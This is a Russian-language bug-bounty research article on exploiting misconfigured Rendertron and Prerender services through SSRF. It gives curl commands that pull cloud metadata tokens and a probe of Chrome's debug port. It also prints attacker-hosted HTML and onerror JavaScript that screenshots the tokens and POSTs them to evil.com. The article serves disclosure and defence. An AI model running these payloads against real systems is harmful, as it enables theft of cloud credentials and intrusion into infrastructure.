Ди­нами­чес­кий рен­деринг для захвата веб-приложений

Ди­нами­чес­кий рен­деринг — это тех­ника, которая исполь­зует­ся, что­бы отда­вать поис­ковикам и ботам заранее отренде­рен­ные веб‑стра­ницы. В этой статье я иссле­дую, как две популяр­ные ути­литы для динами­чес­кого рен­дерин­га добав­ляют уяз­вимос­ти в веб‑при­ложе­ние, если нас­тро­ены неп­равиль­но, и поп­робую объ­яснить, как я исполь­зовал уяз­вимость в одном из них, что­бы зах­ватить сер­вер ком­пании в рам­ках bug bounty.

Для соз­дания сай­тов и веб‑при­ложе­ний активно при­меня­ются фрей­мвор­ки JavaScript — вмес­то ста­тич­ных стра­ниц HTML теперь популяр­но делать PWA (progressive web apps) и SPA (single page applications), которые фор­миру­ют боль­шую часть кон­тента в бра­узе­ре поль­зовате­ля. У это­го под­хода мас­са пре­иму­ществ, и на вебе это поз­воля­ет сде­лать отзывчи­вый интерфейс, но в то же вре­мя такой под­ход нед­ружелю­бен для SEO, потому что боль­шинс­тво поис­ковиков и ботов не понима­ют JavaScript и не могут рен­дерить стра­ницы самос­тоятель­но.

Один из рас­простра­нен­ных спо­собов помочь ботам в таком слу­чае — это открыть зап­рашива­емую стра­ницу в headless-бра­узе­ре на сто­роне сер­вера, дож­дать­ся, пока стра­ница отри­сует­ся, и вер­нуть получив­ший­ся HTML, пред­варитель­но почис­тив его от лиш­них тегов. Этот метод и называ­ется «динами­чес­кий рен­деринг» и сей­час активно прод­вига­ется ком­пани­ей Google как воз­можность опти­мизи­ровать сайт для поис­ка.

Я нат­кнул­ся на этот тип при­ложе­ний, ког­да про­водил нем­ного дру­гое иссле­дова­ние: я искал уяз­вимос­ти в модулях npm, которые исполь­зуют headless-бра­узе­ры. Я написал пра­вила для Semgrep (ути­литы с откры­тыми исходни­ками, в раз­работ­ке которой я при­нимаю учас­тие) и при­менил их к тысячам модулей, которые исполь­зуют Puppeteer, Playwright и PhantomJS в качес­тве зависи­мос­тей. Находок было мно­го, и пос­ле рас­сле­дова­ния и раз­бора резуль­татов я обна­ружил мно­жес­тво модулей, помога­ющих веб‑мас­терам в орга­низа­ции динами­чес­кого рен­дерин­га.

Мой набор пра­вил для Semgrep

По­пуляр­ность динами­чес­кого рен­дерин­га рас­тет, поэто­му будет небес­полез­но понять, что может пой­ти не так в про­дак­шене при его исполь­зовании.

В сво­ем иссле­дова­нии я разоб­рал два самых популяр­ных при­ложе­ния для динами­чес­кого рен­дерин­га — Rendertron и Prerender, но опи­сан­ные ата­ки мож­но исполь­зовать и для дру­гих при­ложе­ний такого типа.

Так­же я нем­ного рас­ска­жу о том, как мне уда­лось при­менить получен­ные зна­ния при поис­ке уяз­вимос­тей в рам­ках bug bounty.

Архитектура

Один из воз­можных спо­собов показать поис­ковому боту под­ходящий для индекса­ции кон­тент работа­ет так: перех­ватыва­ется зап­рос, стра­ница рен­дерит­ся на сер­вере, а резуль­тат в виде HTML со всем нуж­ным содер­жимым воз­вра­щает­ся боту.

Ди­нами­чес­кий рен­деринг для захвата веб-приложений
  1. Сер­вер опре­деля­ет, что зап­рос при­ходит от кра­уле­ра, по заголов­ку User-Agent (в некото­рых слу­чаях — по парамет­рам URL).
  2. Зап­рос перенап­равля­ется при­ложе­нию для динами­чес­кого рен­дерин­га.
  3. При­ложе­ние для динами­чес­кого рен­дерин­га запус­кает headless-бра­узер и откры­вает исходный URL так, буд­то его смот­рит обыч­ный поль­зователь.
  4. По­лучив­ший­ся HTML очи­щает­ся от уже не нуж­ных тегов <script> и воз­вра­щает­ся на сер­вер.
  5. Сер­вер воз­вра­щает резуль­тат кра­уле­ру.

Разведка

На каких стра­ницах обыч­но исполь­зует­ся динами­чес­кий рен­деринг? Эти стра­ницы, ско­рее все­го, будут в откры­том дос­тупе, пос­коль­ку цель динами­чес­кого рен­дерин­га — улуч­шить их индекси­руемость. Кон­тент на этих стра­ницах будет соз­давать­ся при помощи JavaScript, при этом дан­ные на стра­нице меня­ются динами­чес­ки. Нап­ример, это может быть новос­тной сайт, который пос­тоян­но обновля­ется, или час­то обновля­емый спи­сок популяр­ных про­дук­тов в интернет‑магази­не.

Ког­да потен­циаль­ная цель най­дена, мож­но про­верить, исполь­зует ли она динами­чес­кий рен­деринг, отпра­вив нес­коль­ко зап­росов с раз­ными зна­чени­ями заголов­ка User-Agent.

Вот зап­рос, который прит­воря­ется Google Chrome:

curl -v -A «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36″ https://shop.polymer-project.org/

А вот зап­рос яко­бы от бота Slack:

curl -v -A «Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)« https://shop.polymer-project.org/

Ес­ли отве­ты от сер­вера раз­лича­ются, а ответ на зап­рос от под­дель­ного кра­уле­ра при­ходит в виде кра­сиво­го HTML без тегов <script>, это озна­чает, что сайт исполь­зует динами­чес­кий рен­деринг.

www

В качес­тве подопыт­ного я исполь­зовал де­мосайт Google для фрей­мвор­ка Polymer. Под капотом у него Rendertron.

Сравниваем запросы
Срав­нива­ем зап­росы

Под­робнос­ти того, на какие кон­крет­но зна­чения User-Agent реаги­рует при­ложе­ние, мож­но пос­мотреть в исходном коде Rendertron (файл middleware.ts). Так­же Rendertron всег­да воз­вра­щает заголо­вок X-Renderer: Rendertron. Prerender может писать в отве­тах X-Prerender: 1, но это не умол­чатель­ное поведе­ние.

Оба фрей­мвор­ка дают раз­работ­чикам воз­можность управлять заголов­ками отве­та с помощью метате­гов на стра­нице. Это полез­но для детек­та динами­чес­кого рен­дерин­га.

При­мер для Prerender:

<meta name=«prerender-status-code» content=«302» />
<meta name=«prerender-header» content=«Location: https://www.google.com» />

При­мер для Rendertron:

<meta name=«render:status_code» content=«404» />

SSRF по-легкому

Лег­че все­го зах­ватить при­ложе­ние для динами­чес­кого рен­дерин­га, если оно дос­тупно извне. Тог­да мож­но вза­имо­дей­ство­вать с ним нап­рямую и отправ­лять через него про­изволь­ные зап­росы, вклю­чая зап­росы к локаль­ной инфраструк­туре.

Су­щес­тву­ют некото­рые зап­реты на дос­туп к локаль­ным адре­сам, но в зависи­мос­ти от вер­сии при­ложе­ния их мож­но поп­робовать обой­ти.

Rendertron

Rendertron про­ще все­го най­ти, потому что у него есть интерфейс, который поз­воля­ет отправ­лять зап­росы и делать скрин­шоты.

Rendertron
Rendertron
  • Вер­сия 3.1.0 — есть воз­можность задать спи­сок раз­решен­ных URL (но их нуж­но нас­тро­ить самому).
  • Вер­сия 3.0.0 — есть бло­киров­ка пря­мых зап­росов к Google Cloud, тем не менее ее мож­но обой­ти, отпра­вив зап­росы через iFrame, бло­киров­ка не рас­простра­няет­ся на дру­гие облачные плат­формы (AWS, Digital Ocean и про­чие).
  • Ста­рые вер­сии бло­киру­ют зап­росы к Google Cloud, но раз­реша­ют зап­росы к бета‑вер­сии API (http://metadata.google.internal/computeMetadata/v1beta1/).
  • Вер­сия 1.1.1 и млад­ше — раз­решены любые зап­росы.

Rendertron API (из докумен­тации):

  • GET /render/:url — отоб­разит и сери­али­зует стра­ницу.
  • GET /screenshot/:url и POST /screenshot/:url — дела­ет скрин­шот стра­ницы.

До­пол­нитель­ные нас­трой­ки для headless-бра­узе­ра мож­но переда­вать через объ­ект JSON POST-зап­росом. Под­робнос­ти смот­ри в до­кумен­тации Puppeteer. Еще мож­но ука­зать тип (по умол­чанию JPEG) и кодиров­ку (по умол­чанию дво­ичная).

Итак, если ты нат­кнул­ся на рабочий Rendertron, пер­вое, что мож­но сде­лать, — это пред­при­нять SSRF-ата­ку и, к при­меру, получить токены от обла­ка сле­дующим спо­собом:

curl https://rendertron-instance.here/render/http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token

Ли­бо:

curl https://rendertron-instance.here/render/http://169.254.169.254/latest/meta-data/

Ес­ли зап­росы бло­киру­ются, все еще есть шанс зас­тавить Headless Chrome открыть iFrame и показать скрин­шот, содер­жащий метадан­ные: отпра­вить зап­рос на /screenshot и нап­равить Rendertron на стра­ницу, которую ты кон­тро­лиру­ешь.

curl https://rendertron-instance.here/render/http://www.attackers-website.here/iframe-example

HTML по адре­су www.attackers-website.here содер­жит iFrame, который обра­щает­ся к API Google Cloud, дос­тупно­му толь­ко на сер­вере.

<html>
<head>
<meta content=«text/html; charset=utf-8″ http-equiv=«Content-Type» />
</head>
<body>
<iframe
src=«http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json»
width=«468»
height=«600»
></iframe>
</body>
</html>

В резуль­тате мы получа­ем скрин­шот с фрей­мом, который содер­жит сек­ретный токен.

Ди­нами­чес­кий рен­деринг для захвата веб-приложений

Этот баг исправ­лен в вер­сии 3.1.0.

Prerender

У Prerender нет фрон­тенда, поэто­му его слож­нее обна­ружить. Поиск осложня­ется еще и тем, что зап­рос на / воз­вра­щает ста­тус 400 без инте­рес­ных заголов­ков:

HTTP/1.1 400 Bad Request
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Mon, 03 Aug 2020 06:55:29 GMT

API Prerender выг­лядит сле­дующим обра­зом.

  • GET /:url
  • GET /render?url=:url
  • POST /render?url=:url

Спи­сок всех нас­тро­ек мож­но най­ти в до­кумен­тации, основные выводы:

  • Prerender тоже может делать скрин­шоты;
  • followRedirects (по умол­чанию false) раз­реша­ет перенап­равле­ния с одно­го адре­са на дру­гой.

Единс­твен­ный спо­соб опре­делить исполь­зование Prerender — это отпра­вить зап­рос по адре­су /render?url=http://www.example.com и про­верить резуль­тат. У Prerender нет встро­енной бло­киров­ки зап­росов к облачным API, но он поз­воля­ет поль­зовате­лям задавать спис­ки раз­решен­ных и заб­локиро­ван­ных URL, поэто­му в зависи­мос­ти от нас­тро­ек есть веро­ятность, что может получить­ся зап­рос вро­де такого:

curl https://rendertron-instance.here/render?url=http://169.254.169.254/latest/meta-data/

Так­же Prerender соеди­няет­ся с Chrome через отла­доч­ный интерфейс, который всег­да открыт на пор­те 9222, поэто­му если зап­росы на этот адрес раз­решены, то есть воз­можность вытащить Chrome ID.

curl https://rendertron-instance.here/render?url=http://localhost:9222/json/

Те­перь мож­но слать зап­росы WebSocket к Chrome нап­рямую и таким обра­зом управлять встро­енным бра­узе­ром. Нап­ример, откры­вать новые вклад­ки, отправ­лять про­изволь­ные зап­росы, читать локаль­ные фай­лы (под­робнос­ти — в докумен­тации Chrome DevTools Protocol).

В статье я фокуси­руюсь на том, что­бы попытать­ся вытащить сек­реты через API облачных про­вай­деров, но важ­но пом­нить, что, если в Rendertron или Prerender зап­росы к обла­ку зап­рещены, все еще мож­но попытать­ся отпра­вить зап­росы к дру­гим час­тям инфраструк­туры — нап­ример, к кешу или базам дан­ных.

Во вре­мя иссле­дова­ния я нашел нес­коль­ко сер­веров c тор­чащим наружу Rendertron, но bug bounty на них не было, поэто­му тро­гать их я не стал.

Атаки через веб-приложения

В поис­ках под­ходящих сер­веров (с уяз­вимостью и под­лежащих bug bounty) я прос­то отправ­лял на все воз­можные домены зап­росы с заголов­ком User-Agent: Slackbot blabla. Все­го один раз я получил в ответ с заголов­ком X-Renderer: Rendertron, но это­го ока­залось дос­таточ­но, что­бы зарабо­тать воз­награж­дение.

Ес­ли при­ложе­ние для динами­чес­кого рен­дерин­га не тор­чит наружу, но ты смог опре­делить, что сайт его исполь­зует, все еще есть шанс про­вес­ти ата­ку. В этом может помочь любой спо­соб встро­ить свой кон­тент в стра­ницу или перенап­равить стра­ницу на ту, в которой мож­но кон­тро­лиро­вать содер­жимое. Прос­тей­ший вари­ант — это най­ти open redirect. Который, к сло­ву, мно­гие прог­раммы bug bounty не при­нима­ют за уяз­вимость.

Ес­ли open redirect най­ден, то лег­ко устро­ить ата­ку, прос­то отпра­вив зап­росы:

curl -A «Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)« https://www.website.com/redirectUrl=http://metadata.google.internal/computeMetadata/v1beta1/
curl -A «Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)« https://www.website.com/redirectUrl=http://169.254.169.254/latest/meta-data/

Так­же мож­но перенап­равить на стра­ницу, содер­жащую фрей­мы, если пря­мые зап­росы заб­локиро­ваны.

Ди­нами­чес­кий рен­деринг для захвата веб-приложений

По­иск XSS- или HTML-инъ­екции выг­лядел слож­ной задачей, поэто­му я сфо­куси­ровал­ся на поис­ке open redirect. Мне повез­ло, и цель, которую я обна­ружил, была уяз­вима к нему.

Боль­шинс­тво шпар­галок и обу­чающих матери­алов по open redirect фокуси­руют­ся на перенап­равле­ниях, которые про­исхо­дят через сер­вер. Но так как динами­чес­кий рен­деринг исполь­зует­ся на стра­ницах с боль­шим количес­твом слож­ного JavaScript, боль­ше веро­ятность най­ти уяз­вимость на сто­роне кли­ента.

С этой задачей мне силь­но помог Semgrep. Я наб­росал кучу шаб­лонов того, как может воз­никнуть редирект в JavaScript, и ска­ниро­вал весь код на стра­ницах, при­над­лежащих моей цели. Бук­валь­но в течение часа open redirect был най­ден.

Те­перь оста­лось толь­ко зас­тавить headless-бра­узер совер­шить перенап­равле­ние и вытащить метадан­ные от Google Cloud (URL был изме­нен, что­бы не раз­гла­шать информа­цию о при­ват­ной bug bounty).

Пример с bug bounty
При­мер с bug bounty

Это сра­бота­ло, и я получил воз­награж­дение за най­ден­ную уяз­вимость.

Мне повез­ло — я нат­кнул­ся на уста­рев­шую вер­сию, которая не бло­киро­вала пря­мые зап­росы к метадан­ным, но, если бы они были заб­локиро­ваны, все рав­но была бы воз­можность зап­росить их через iFrame. Одна­ко есть одна проб­лема — получить содер­жимое это­го iFrame. Для это­го мож­но исполь­зовать фун­кцию сня­тия скрин­шотов стра­ницы. Сце­нарий ата­ки выг­лядит сле­дующим обра­зом.

Rendertron hack sequence
Rendertron hack sequence

1. Стра­ница, которая кон­тро­лиру­ется ата­кующим, откры­вает­ся во вклад­ке headless-бра­узе­ра — «Стра­ница #1».

<html>
<body>
<script type=«text/javascript»>
fetch(
«http://localhost:3000/render/http://localhost:3000/render/http://www.attackers-website.url/exploit.html«
);
</script>
</body>
</html>

2. Это зас­тавля­ет бра­узер отпра­вить зап­рос самому себе (локаль­но) и показать резуль­тат рен­дерин­га с веб‑стра­ницей ата­кующе­го («Стра­ница #2»).

http://localhost:3000/render/http://localhost:3000/render/http://www.attackers-website.url/exploit.html

3. Headless-бра­узер откры­вает URL («Стра­ница #3»), который сно­ва отправ­ляет зап­рос в при­ложе­ние для рен­дерин­га.

http://localhost:3000/render/http://www.attackers-website.url/exploit.html

4–5. Бра­узер откры­вает еще одну стра­ницу, кон­тро­лиру­емую ата­кующим, — http://www.attackers-website.url/exploit.html («Стра­ница #4») — со сле­дующим кодом:

<html>
<body>
<img
id=«hacked»
src=«http://localhost:3000/screenshot/http://metadata.google.internal/computeMetadata/v1beta1/?width=800&height=800″
width=«800»
height=«800»
/>
<img
src=«x»
onerror=‘(n=0,i=document.getElementById(«hacked»),i.onload=function(){n++;e=document.createElement(«canvas»);e.width=i.width,e.height=i.height,e.getContext(«2d»).drawImage(i,0,0);t=e.toDataURL(«image/png»);if(n>1){fetch(«http://www.evil.com»,{method:«POST»,body:JSON.stringify(t)})}})()
/>
</body>
</html>

Пол­ная вер­сия кода на JavaScript, который выпол­няет­ся по событию onerror:

var n = 0;
var img = document.getElementById(«hacked«); // <скриншот с метаданными
img.onload = function() {
// Когда скриншот загрузился:
n++;
// Скопировать скриншот в элемент типа canvas
var canvasEl = document.createElement(«canvas«);
(canvasEl.width = img.width),
(canvasEl.height = img.height),
canvasEl.getContext(«2d«).drawImage(img, 0, 0);
// Получить содержимое скриншота
var imgContent = e.toDataURL(«image/png«);
if (n > 1) {
fetch(«http://www.attackers-website.url«, {
// Отправить содержимое скриншота атакующему
method: «POST«,
body: JSON.stringify(imgContent),
});
}
};

6–7. Бра­узер соз­дает скрин­шот стра­ницы, которая содер­жит iFrame с дан­ными от облачно­го API. Нап­ример:

http://metadata.google.internal/computeMetadata/v1beta1/

8. Затем бра­узер отправ­ляет его на хост ата­кующе­го, но оба зап­роса не будут работать из‑за защиты SOP (изоб­ражение извле­кает­ся из localhost, в то вре­мя как текущий URL — http://www.attackers-website.url). Тем не менее получен­ный HTML-код воз­вра­щает­ся в headless-бра­узер («Стра­ница #3»).

9–10. Тот же HTML-код отоб­ража­ется внут­ри вклад­ки бра­узе­ра («Стра­ница #3»), но на этот раз все зап­росы работа­ют, потому что пра­вила SOP не наруша­ются (хост стра­ницы такой же, как и у изоб­ражения, — localhost:3000).

11. Изоб­ражение с токеном отправ­ляет­ся ата­кующе­му.

Ад­рес http://metadata.google.internal/computeMetadata/v1beta1/, который час­то исполь­зует­ся в при­мерах, уста­рел. В Google объ­яви­ли, что ско­ро он перес­танет отве­чать и экзем­пля­ры Rendertron, работа­ющие в Google Cloud, боль­ше не будут так лег­ко отда­вать свои токены. В любом слу­чае имей в виду, что методо­логия и при­емы это­го иссле­дова­ния могут при­менять­ся не толь­ко для уго­на облачных токенов, но и для исполь­зования SSRF в целом.

Советы и трюки

Ес­ли не получа­ется про­экс­плу­ати­ровать SSRF, но open redirect на стра­нице есть, то мож­но про­вер­нуть XSS. Как упо­мина­лось ранее, при­ложе­ния для динами­чес­кого рен­дерин­га отсе­кают теги <script> и ссыл­ки на JavaScript, но код внут­ри атри­бутов оста­ется нет­ронутым, поэто­му будет работать и при­водить к XSS-перенап­равле­нию вро­де такого:

<html>
<body>
<img src=«x» onerror=«alert(1)« />
</body>
</html>

И никаких проб­лем с CORS, так как код выпол­нится по адре­су стра­ницы!

info

  • Rendertron и Prerender ищут в HTML спе­циаль­ные метате­ги, которые исполь­зуют­ся для манипу­ляции с отве­тами. Это не уяз­вимость, но может исполь­зовать­ся как часть ата­ки, если ата­кующий име­ет воз­можность встро­ить HTML в стра­ницу и таким обра­зом манипу­лиро­вать отве­том (нап­ример, пере­опре­делить X-Frame-Options или поменять один из заголов­ков CORS).

  • В обо­их при­ложе­ниях мож­но нас­тра­ивать спис­ки бло­киро­вок для зап­рашива­емых URL, но есть шанс обой­ти их с помощью трю­ков с DNS.

Вывод

Ди­нами­чес­кий рен­деринг набира­ет популяр­ность, и он будет исполь­зовать­ся все чаще, так как это разум­ный спо­соб сов­местить исполь­зование сов­ремен­ного JavaScript и SЕО. Google и дру­гие ком­пании прод­вига­ют этот под­ход, поэто­му важ­но понять, какие сла­бос­ти эта тех­нология может при­нес­ти.

Ес­ли ты в коман­де защиты, то будь в кур­се, что headless-бра­узер внут­ри инфраструк­туры может добавить мно­го уяз­вимос­тей, если нас­тро­ен неп­равиль­но. И даже самые малень­кие огре­хи в безопас­ности могут быть пер­вым шагом к RCE. К счастью, мно­го подоб­ных мелочей мож­но най­ти с помощью сов­ремен­ного ста­тичес­кого ана­лиза кода.

Ес­ли ты ата­кующий, исполь­зуй новые зна­ния во бла­го!

Ес­ли же ты раз­рабаты­ваешь при­ложе­ние с headless-бра­узе­ром внут­ри, то еще раз порек­ламирую тебе Semgrep как средс­тво для поис­ка багов в коде.

ВКонтакте
OK
Telegram
WhatsApp
Viber

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *